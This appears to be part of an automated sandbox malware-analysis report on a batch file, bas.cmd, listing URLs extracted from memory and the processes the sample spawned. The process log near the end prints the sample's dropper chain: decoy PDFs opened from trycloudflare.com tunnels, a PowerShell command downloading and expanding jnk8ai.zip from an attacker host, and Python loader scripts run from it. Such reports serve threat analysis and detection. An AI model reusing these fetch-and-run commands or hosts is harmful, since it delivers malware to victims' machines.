| Source: powershell.exe, 00000019.00000002.1477989612.0000025C73DDA000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: http://crl.v |
| Source: svchost.exe, 00000007.00000002.2484960875.000001F54A800000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: http://crl.ver) |
| Source: svchost.exe, 00000007.00000002.2485307565.000001F54A8D7000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: http://edgedl.me.gvt1.com/ |
| Source: svchost.exe, 00000007.00000002.2485190043.000001F54A861000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: http://edgedl.me.gvt1.com/069D |
| Source: svchost.exe, 00000007.00000002.2485307565.000001F54A8D7000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: http://edgedl.me.gvt1.com/; |
| Source: svchost.exe, 00000007.00000002.2483331175.000001F5452B1000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: http://edgedl.me.gvt1.com/ed |
| Source: qmgr.db.7.dr |
String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU |
| Source: qmgr.db.7.dr |
String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n |
| Source: qmgr.db.7.dr |
String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/ |
| Source: qmgr.db.7.dr |
String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567 |
| Source: qmgr.db.7.dr |
String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg |
| Source: svchost.exe, 00000007.00000003.1905616099.000001F54A744000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2106891970.000001F54A745000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1881444623.000001F54A742000.00000004.00000800.00020000.00000000.sdmp, edb.log.7.dr |
String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adsykcxo2vug6rqg37fxiu64x3ja_2024.5.14.0/ |
| Source: qmgr.db.7.dr |
String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe |
| Source: svchost.exe, 00000007.00000002.2483705407.000001F545B02000.00000004.00000020.00020000.00000000.sdmp, edb.log.7.dr |
String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/imoffpf67hel7kbknqflao2oo4_1.0.2738.0/nei |
| Source: svchost.exe, 00000007.00000002.2485190043.000001F54A861000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: http://edgedl.me.gvt1.com/es |
| Source: svchost.exe, 00000007.00000002.2485190043.000001F54A88C000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: http://edgedl.me.gvt1.com:80 |
| Source: svchost.exe, 00000007.00000002.2485190043.000001F54A861000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: http://edgedl.me.gvt1.com:80/edgedl/release2/chrome_component/imoffpf67hel7kbknqflao2oo4_1.0.2738.0/ |
| Source: edb.log.7.dr |
String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20 |
| Source: powershell.exe, 00000006.00000002.1289535614.0000023D2E9F7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1315736917.0000023D3D472000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1315736917.0000023D3D5B5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1410898228.0000025C5D649000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1469382106.0000025C6BD07000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1469382106.0000025C6BE49000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: http://nuget.org/NuGet.exe |
| Source: powershell.exe, 00000019.00000002.1410898228.0000025C5BEC1000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: http://pesterbdd.com/images/Pester.png |
| Source: powershell.exe, 00000006.00000002.1289535614.0000023D2D401000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1410898228.0000025C5BC91000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name |
| Source: powershell.exe, 00000019.00000002.1410898228.0000025C5BEC1000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html |
| Source: sets.json.4.dr |
String found in binary or memory: https://abczdrowie.pl |
| Source: powershell.exe, 00000006.00000002.1289535614.0000023D2D401000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1410898228.0000025C5BC91000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://aka.ms/pscore68 |
| Source: sets.json.4.dr |
String found in binary or memory: https://alice.tw |
| Source: sets.json.4.dr |
String found in binary or memory: https://autobild.de |
| Source: sets.json.4.dr |
String found in binary or memory: https://baomoi.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://bild.de |
| Source: sets.json.4.dr |
String found in binary or memory: https://blackrock.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://blackrockadvisorelite.it |
| Source: sets.json.4.dr |
String found in binary or memory: https://bluradio.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://bolasport.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://bonvivir.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://bumbox.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://businessinsider.com.pl |
| Source: sets.json.4.dr |
String found in binary or memory: https://cachematrix.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://cafemedia.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://caracoltv.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://carcostadvisor.be |
| Source: sets.json.4.dr |
String found in binary or memory: https://carcostadvisor.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://carcostadvisor.fr |
| Source: sets.json.4.dr |
String found in binary or memory: https://cardsayings.net |
| Source: sets.json.4.dr |
String found in binary or memory: https://chennien.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://clarosports.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://clmbtech.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://clubelpais.com.uy |
| Source: sets.json.4.dr |
String found in binary or memory: https://cmxd.com.mx |
| Source: sets.json.4.dr |
String found in binary or memory: https://commentcamarche.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://commentcamarche.net |
| Source: sets.json.4.dr |
String found in binary or memory: https://computerbild.de |
| Source: powershell.exe, 00000019.00000002.1469382106.0000025C6BE49000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://contoso.com/ |
| Source: powershell.exe, 00000019.00000002.1469382106.0000025C6BE49000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://contoso.com/Icon |
| Source: powershell.exe, 00000019.00000002.1469382106.0000025C6BE49000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://contoso.com/License |
| Source: sets.json.4.dr |
String found in binary or memory: https://cookreactor.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://cricbuzz.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://desimartini.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://dewarmsteweek.be |
| Source: sets.json.4.dr |
String found in binary or memory: https://economictimes.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://een.be |
| Source: sets.json.4.dr |
String found in binary or memory: https://efront.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://eleconomista.net |
| Source: sets.json.4.dr |
String found in binary or memory: https://elfinancierocr.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://elgrafico.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://ella.sv |
| Source: sets.json.4.dr |
String found in binary or memory: https://elpais.com.uy |
| Source: sets.json.4.dr |
String found in binary or memory: https://elpais.uy |
| Source: sets.json.4.dr |
String found in binary or memory: https://etfacademy.it |
| Source: sets.json.4.dr |
String found in binary or memory: https://eworkbookcloud.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://eworkbookrequest.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://fakt.pl |
| Source: sets.json.4.dr |
String found in binary or memory: https://finn.no |
| Source: sets.json.4.dr |
String found in binary or memory: https://firstlook.biz |
| Source: bas.cmd |
String found in binary or memory: https://floor-contemporary-genius-accommodation.trycloudflare.com/SCANNED.pdf |
| Source: edb.log.7.dr |
String found in binary or memory: https://g.live.com/odclientsettings/Prod1C: |
| Source: svchost.exe, 00000007.00000003.1257972974.000001F54A740000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.7.dr, edb.log.7.dr |
String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C: |
| Source: sets.json.4.dr |
String found in binary or memory: https://gallito.com.uy |
| Source: sets.json.4.dr |
String found in binary or memory: https://gettalkdesk.com |
| Source: powershell.exe, 00000019.00000002.1410898228.0000025C5BEC1000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://github.com/Pester/Pester |
| Source: chromecache_72.8.dr, chromecache_73.8.dr |
String found in binary or memory: https://github.com/mar10/wsgidav/ |
| Source: sets.json.4.dr |
String found in binary or memory: https://gliadomain.com |
| Source: powershell.exe, 00000006.00000002.1289535614.0000023D2E57D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1410898228.0000025C5C8C1000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://go.micro |
| Source: powershell.exe, 00000006.00000002.1289535614.0000023D2E57D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1410898228.0000025C5C8C1000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://gonna-truly-conflict-deserve.trycloudflare.com |
| Source: bas.cmd |
String found in binary or memory: https://gonna-truly-conflict-deserve.trycloudflare.com/a.pdf |
| Source: powershell.exe, 00000019.00000002.1408573592.0000025C59E50000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1408757519.0000025C59E90000.00000004.00000020.00020000.00000000.sdmp, bas.cmd |
String found in binary or memory: https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip |
| Source: powershell.exe, 00000019.00000002.1410610863.0000025C5A060000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip4 |
| Source: timeout.exe, 00000017.00000002.1391258101.000001E518674000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip4d |
| Source: AppInstallerPythonRedirector.exe, 00000015.00000002.1366455249.0000022614402000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip6 |
| Source: powershell.exe, 00000006.00000002.1286539070.0000023D2B643000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip?a |
| Source: timeout.exe, 00000017.00000002.1391258101.000001E518670000.00000004.00000020.00020000.00000000.sdmp, timeout.exe, 00000017.00000002.1391258101.000001E518674000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zipNd |
| Source: powershell.exe, 00000006.00000002.1286539070.0000023D2B577000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zipc |
| Source: powershell.exe, 00000006.00000002.1320379549.0000023D455D7000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zipw |
| Source: powershell.exe, 00000019.00000002.1408757519.0000025C59E90000.00000004.00000020.00020000.00000000.sdmp, bas.cmd |
String found in binary or memory: https://gonna-truly-conflict-deserve.trycloudflare.com/update.cmd |
| Source: powershell.exe, 00000019.00000002.1410610863.0000025C5A064000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: https://gonna-truly-conflict-deserve.trycloudflare.com/update.cmdCommonPr |
| Source: powershell.exe, 00000019.00000002.1478427161.0000025C73E65000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1410610863.0000025C5A060000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1410610863.0000025C5A064000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1408573592.0000025C59E50000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: https://gonna-truly-conflict-deserve.trycloudflare.com/update.cmdCommonProgramFiles=C: |
| Source: sets.json.4.dr |
String found in binary or memory: https://grid.id |
| Source: sets.json.4.dr |
String found in binary or memory: https://gridgames.app |
| Source: sets.json.4.dr |
String found in binary or memory: https://growthrx.in |
| Source: sets.json.4.dr |
String found in binary or memory: https://grupolpg.sv |
| Source: sets.json.4.dr |
String found in binary or memory: https://gujaratijagran.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://hapara.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://hc1.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://hc1.global |
| Source: sets.json.4.dr |
String found in binary or memory: https://hc1cas.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://hc1cas.global |
| Source: sets.json.4.dr |
String found in binary or memory: https://healthshots.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://hearty.app |
| Source: sets.json.4.dr |
String found in binary or memory: https://hearty.gift |
| Source: sets.json.4.dr |
String found in binary or memory: https://hearty.me |
| Source: sets.json.4.dr |
String found in binary or memory: https://heartymail.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://hindustantimes.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://hj.rs |
| Source: sets.json.4.dr |
String found in binary or memory: https://hjck.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://human-talk.org |
| Source: sets.json.4.dr |
String found in binary or memory: https://idbs-cloud.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://idbs-dev.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://idbs-eworkbook.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://idbs-staging.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://indiatimes.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://iolam.it |
| Source: sets.json.4.dr |
String found in binary or memory: https://ishares.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://jagran.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://journaldesfemmes.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://journaldesfemmes.fr |
| Source: sets.json.4.dr |
String found in binary or memory: https://journaldunet.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://journaldunet.fr |
| Source: sets.json.4.dr |
String found in binary or memory: https://joyreactor.cc |
| Source: sets.json.4.dr |
String found in binary or memory: https://joyreactor.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://kaksya.in |
| Source: sets.json.4.dr |
String found in binary or memory: https://kompas.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://kompas.tv |
| Source: sets.json.4.dr |
String found in binary or memory: https://kompasiana.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://lanacion.com.ar |
| Source: sets.json.4.dr |
String found in binary or memory: https://landyrev.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://landyrev.ru |
| Source: sets.json.4.dr |
String found in binary or memory: https://laprensagrafica.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://lateja.cr |
| Source: sets.json.4.dr |
String found in binary or memory: https://libero.it |
| Source: sets.json.4.dr |
String found in binary or memory: https://linternaute.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://linternaute.fr |
| Source: sets.json.4.dr |
String found in binary or memory: https://livehindustan.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://livemint.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://max.auto |
| Source: sets.json.4.dr |
String found in binary or memory: https://medonet.pl |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadolibre.cl |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadolibre.co.cr |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadolibre.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadolibre.com.ar |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadolibre.com.bo |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadolibre.com.co |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadolibre.com.do |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadolibre.com.ec |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadolibre.com.gt |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadolibre.com.hn |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadolibre.com.mx |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadolibre.com.ni |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadolibre.com.pa |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadolibre.com.pe |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadolibre.com.py |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadolibre.com.sv |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadolibre.com.uy |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadolibre.com.ve |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadolivre.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadolivre.com.br |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadopago.cl |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadopago.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadopago.com.ar |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadopago.com.br |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadopago.com.co |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadopago.com.ec |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadopago.com.mx |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadopago.com.pe |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadopago.com.uy |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadopago.com.ve |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadoshops.cl |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadoshops.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadoshops.com.ar |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadoshops.com.br |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadoshops.com.co |
| Source: sets.json.4.dr |
String found in binary or memory: https://mercadoshops.com.mx |
| Source: sets.json.4.dr |
String found in binary or memory: https://mighty-app.appspot.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://mightytext.net |
| Source: sets.json.4.dr |
String found in binary or memory: https://mittanbud.no |
| Source: sets.json.4.dr |
String found in binary or memory: https://money.pl |
| Source: sets.json.4.dr |
String found in binary or memory: https://mystudentdashboard.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://nacion.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://nidhiacademyonline.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://nien.co |
| Source: sets.json.4.dr |
String found in binary or memory: https://nien.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://nien.org |
| Source: sets.json.4.dr |
String found in binary or memory: https://noticiascaracol.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://nourishingpursuits.com |
| Source: powershell.exe, 00000006.00000002.1289535614.0000023D2E9F7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1315736917.0000023D3D472000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1315736917.0000023D3D5B5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1410898228.0000025C5D649000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1469382106.0000025C6BD07000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1469382106.0000025C6BE49000.00000004.00000800.00020000.00000000.sdmp |
String found in binary or memory: https://nuget.org/nuget.exe |
| Source: sets.json.4.dr |
String found in binary or memory: https://o2.pl |
| Source: sets.json.4.dr |
String found in binary or memory: https://ocdn.eu |
| Source: qmgr.db.7.dr |
String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C: |
| Source: sets.json.4.dr |
String found in binary or memory: https://onet.pl |
| Source: sets.json.4.dr |
String found in binary or memory: https://ottplay.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://paula.com.uy |
| Source: sets.json.4.dr |
String found in binary or memory: https://pdmp-apis.no |
| Source: sets.json.4.dr |
String found in binary or memory: https://phonandroid.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://player.pl |
| Source: sets.json.4.dr |
String found in binary or memory: https://plejada.pl |
| Source: sets.json.4.dr |
String found in binary or memory: https://poalim.site |
| Source: sets.json.4.dr |
String found in binary or memory: https://poalim.xyz |
| Source: sets.json.4.dr |
String found in binary or memory: https://portalinmobiliario.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://prisjakt.no |
| Source: sets.json.4.dr |
String found in binary or memory: https://pudelek.pl |
| Source: sets.json.4.dr |
String found in binary or memory: https://punjabijagran.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://radio1.be |
| Source: sets.json.4.dr |
String found in binary or memory: https://radio2.be |
| Source: sets.json.4.dr |
String found in binary or memory: https://reactor.cc |
| Source: sets.json.4.dr |
String found in binary or memory: https://repid.org |
| Source: sets.json.4.dr |
String found in binary or memory: https://reshim.org |
| Source: sets.json.4.dr |
String found in binary or memory: https://rws1nvtvt.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://rws2nvtvt.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://rws3nvtvt.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://salemoveadvisor.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://salemovefinancial.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://salemovetravel.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://samayam.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://shock.co |
| Source: sets.json.4.dr |
String found in binary or memory: https://smoney.vn |
| Source: sets.json.4.dr |
String found in binary or memory: https://songshare.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://songstats.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://sporza.be |
| Source: sets.json.4.dr |
String found in binary or memory: https://standardsandpraiserepurpose.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://startupislandtaiwan.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://startupislandtaiwan.net |
| Source: sets.json.4.dr |
String found in binary or memory: https://startupislandtaiwan.org |
| Source: sets.json.4.dr |
String found in binary or memory: https://stripe.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://stripe.network |
| Source: sets.json.4.dr |
String found in binary or memory: https://stripecdn.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://supereva.it |
| Source: sets.json.4.dr |
String found in binary or memory: https://talkdeskqaid.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://talkdeskstgid.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://teacherdashboard.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://technology-revealed.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://textyserver.appspot.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://timesinternet.in |
| Source: sets.json.4.dr |
String found in binary or memory: https://timesofindia.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://tribunnews.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://trytalkdesk.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://tucarro.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://tucarro.com.co |
| Source: sets.json.4.dr |
String found in binary or memory: https://tucarro.com.ve |
| Source: sets.json.4.dr |
String found in binary or memory: https://tvid.in |
| Source: sets.json.4.dr |
String found in binary or memory: https://tvn.pl |
| Source: sets.json.4.dr |
String found in binary or memory: https://tvn24.pl |
| Source: sets.json.4.dr |
String found in binary or memory: https://unotv.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://victorymedium.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://vrt.be |
| Source: sets.json.4.dr |
String found in binary or memory: https://vwo.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://welt.de |
| Source: sets.json.4.dr |
String found in binary or memory: https://wieistmeineip.de |
| Source: sets.json.4.dr |
String found in binary or memory: https://wildix.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://wildixin.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://wingify.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://wordle.at |
| Source: sets.json.4.dr |
String found in binary or memory: https://wp.pl |
| Source: sets.json.4.dr |
String found in binary or memory: https://wpext.pl |
| Source: sets.json.4.dr |
String found in binary or memory: https://www.asadcdn.com |
| Source: sets.json.4.dr |
String found in binary or memory: https://ya.ru |
| Source: sets.json.4.dr |
String found in binary or memory: https://zalo.me |
| Source: sets.json.4.dr |
String found in binary or memory: https://zdrowietvn.pl |
| Source: sets.json.4.dr |
String found in binary or memory: https://zingmp3.vn |
| Source: unknown |
Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\bas.cmd" " |
|
| Source: C:\Windows\System32\cmd.exe |
Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 |
|
| Source: C:\Windows\System32\cmd.exe |
Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://floor-contemporary-genius-accommodation.trycloudflare.com/SCANNED.pdf |
|
| Source: C:\Windows\System32\cmd.exe |
Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed) |
|
| Source: C:\Windows\System32\cmd.exe |
Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }" |
|
| Source: unknown |
Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS |
|
| Source: C:\Program Files\Google\Chrome\Application\chrome.exe |
Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=1992,i,15984810372542594167,14426285752425884727,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 |
|
| Source: C:\Windows\System32\cmd.exe |
Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\jnk8ai.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }" |
|
| Source: C:\Windows\System32\cmd.exe |
Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe hey.py |
|
| Source: C:\Windows\System32\cmd.exe |
Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe new.py |
|
| Source: C:\Windows\System32\cmd.exe |
Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe loader.py |
|
| Source: C:\Windows\System32\cmd.exe |
Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://gonna-truly-conflict-deserve.trycloudflare.com/a.pdf |
|
| Source: C:\Windows\System32\cmd.exe |
Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed) |
|
| Source: C:\Program Files\Google\Chrome\Application\chrome.exe |
Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2008,i,13683390946796946304,14765207737704090902,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 |
|
| Source: C:\Windows\System32\cmd.exe |
